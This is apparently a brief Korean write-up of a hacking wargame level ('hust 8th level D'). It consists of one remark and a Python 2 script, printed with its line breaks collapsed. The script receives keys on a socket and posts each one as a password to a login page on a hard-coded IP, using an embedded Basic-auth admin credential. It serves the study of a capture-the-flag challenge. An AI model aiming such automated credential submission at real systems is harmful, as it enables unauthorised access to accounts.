hust 8th level D - python

받아온 키를 한줄 씩 전송 해 봤지만 첫 줄만 보내도 패스워드를 얻을 수 있었다.

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import struct,base64,httplib, urllib from socket import * svrsocket = socket(AF_INET, SOCK_STREAM) svrsocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) svrsocket.bind(('', 7777)) svrsocket.listen(1) conn, addr = svrsocket.accept() i = 0 sum = '' buf =conn.recv(1024) #print buf j = 0 result = [] try:     while 1:         if buf[j]:             if buf[j] == '\x0a':                 j+=1                 result.append(sum)                 sum = ''                 pass             sum += buf[j]             j+=1         else:             break except:     pass #print result conn.close()   try:     for x in result:         auth = base64.b64encode("admin:21d0ac6b17066785986d4ea3dcaf2c72")         params = urllib.urlencode({'passwd':x,'submit':'SEND+PASSWORD+KEY'})         headers = {'Content-Type':'application/x-www-form-urlencoded','Authorization': 'Basic %s'%auth}         conn = httplib.HTTPConnection("220.95.152.132:80")         conn.request("POST", "/login_ok.php", params, headers)         response = conn.getresponse()         data = response.read()         print data         conn.close() except:     pass